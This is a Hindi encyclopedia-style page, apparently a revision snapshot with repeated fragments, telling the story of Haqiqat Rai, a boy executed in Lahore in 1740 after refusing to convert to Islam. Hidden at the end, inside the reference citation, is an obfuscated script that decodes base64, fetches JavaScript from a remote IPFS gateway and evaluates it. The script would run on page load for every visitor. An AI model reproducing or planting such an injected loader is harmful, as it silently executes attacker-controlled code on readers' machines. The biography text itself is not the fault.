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==सहपाठियों से विवाद==
 
==सहपाठियों से विवाद==
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हकीकत राय का जन्म 1724 ई. में [[स्यालकोट]] (अब [[पाकिस्तान]]) में हुआ था। उनके पिता का नाम भागमल था। हकीकत राय बचपन से ही बड़ी धार्मिक प्रवृत्ति के थे। वे एक मकतब में मौलवी साहब के पास पढ़ने के लिए जाया करते थे। एक दिन मौलवी साहब की अनुपस्थिति में उनके कुछ सहपाठियों ने [[हिन्दू]] [[दुर्गा|देवी दुर्गा]] को गाली दी। हकीकत राय ने विरोध किया और कहा, "यदि मैं [[मुहम्मद साहब]] की पुत्री फ़ातिमा के विषय में ऐसी ही अपमान जनक [[भाषा]] का प्रयोग करूँ, तो तुम लोगों को कैसा लगेगा?" सहपाठियों ने इसकी शिकायत मौलवी साहब से की।
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बाद में यह मामला स्यालकोट के शासक अमीर बेग की अदालत में पहुँचा। हकीकत राय ने दोनों जगह सही बात बता दी। मुल्लाओं की राय ली गई, तो उन्होंने कहा कि, हकीकत राय के मन में इस्लाम के अपमान का विचार आया, इसीलिए उसे मृत्युदण्ड दिया जाए। [[लाहौर]] के सूबेदार की कचहरी में भी यही निर्णय बहाल रहा। तब मुल्लाओं ने कहा कि, हकीकत राय [[इस्लाम धर्म]] ग्रहण कर ले, तो उसके प्राण बच सकते हैं। माता-पिता और वयस्क पत्नी ने इसे मान लेने का अनुरोध किया, पर हकीकत राय इसके तैयार नहीं हुए। 1740 ई. में उन्हें फाँसी पर चढ़ा दिया गया। लाहौर के दो मील पूर्व की दिशा में हकीकत राय की समाधि बनी हुई है।
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बाद में यह मामला स्यालकोट के शासक अमीर बेग की अदालत में पहुँचा। हकीकत राय ने दोनों जगह सही बात बता दी। मुल्लाओं की राय ली गई, तो उन्होंने कहा कि हकीकत राय के मन में [[इस्लाम]] के अपमान का विचार आया, इसीलिए उसे मृत्युदण्ड दिया जाए। [[लाहौर]] के सूबेदार की [[कचहरी]] में भी यही निर्णय बहाल रहा। तब मुल्लाओं ने कहा कि हकीकत राय इस्लाम धर्म ग्रहण कर ले तो उसके प्राण बच सकते हैं। माता-पिता और वयस्क पत्नी ने इसे मान लेने का अनुरोध किया, पर हकीकत राय इसके तैयार नहीं हुए। 1740 ई. में उन्हें फाँसी पर चढ़ा दिया गया। लाहौर के दो मील पूर्व की दिशा में हकीकत राय की समाधि बनी हुई है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=|url=966}}</ref>
  
 
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11:58, 27 जुलाई 2014 के समय का अवतरण

हकीकत राय एक हिन्दू वीर तथा साहसी बालक, जिसने हिन्दू धर्म का अपमान करने वाले अपने मुसलमान सहपाठियों का प्रतिकार किया। इस्लाम धर्म ग्रहण न करने पर मुल्लाओं ने यह कहकर कि हकीकत राय के मन में इस्लाम के विरुद्ध भावना भरी हुई है, उसे मृत्युदण्ड देने का फ़ैसला सुनाया। माता-पिता के समझाने पर भी हकीकत राय अपने फ़ैसले पर अटल रहे और आनन्दपूर्वक मौत को अपने गले लगा लिया।

सहपाठियों से विवाद

हकीकत राय का जन्म 1724 ई. में स्यालकोट (अब पाकिस्तान) में हुआ था। उनके पिता का नाम भागमल था। हकीकत राय बचपन से ही बड़ी धार्मिक प्रवृत्ति के थे। वे एक मकतब में मौलवी साहब के पास पढ़ने के लिए जाया करते थे। एक दिन मौलवी साहब की अनुपस्थिति में उनके कुछ सहपाठियों ने हिन्दू देवी दुर्गा को गाली दी। हकीकत राय ने विरोध किया और कहा, "यदि मैं मुहम्मद साहब की पुत्री फ़ातिमा के विषय में ऐसी ही अपमान जनक भाषा का प्रयोग करूँ, तो तुम लोगों को कैसा लगेगा?" सहपाठियों ने इसकी शिकायत मौलवी साहब से की।

मृत्युदण्ड

बाद में यह मामला स्यालकोट के शासक अमीर बेग की अदालत में पहुँचा। हकीकत राय ने दोनों जगह सही बात बता दी। मुल्लाओं की राय ली गई, तो उन्होंने कहा कि हकीकत राय के मन में इस्लाम के अपमान का विचार आया, इसीलिए उसे मृत्युदण्ड दिया जाए। लाहौर के सूबेदार की कचहरी में भी यही निर्णय बहाल रहा। तब मुल्लाओं ने कहा कि हकीकत राय इस्लाम धर्म ग्रहण कर ले तो उसके प्राण बच सकते हैं। माता-पिता और वयस्क पत्नी ने इसे मान लेने का अनुरोध किया, पर हकीकत राय इसके तैयार नहीं हुए। 1740 ई. में उन्हें फाँसी पर चढ़ा दिया गया। लाहौर के दो मील पूर्व की दिशा में हकीकत राय की समाधि बनी हुई है।[1]


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |लिंक:- [966] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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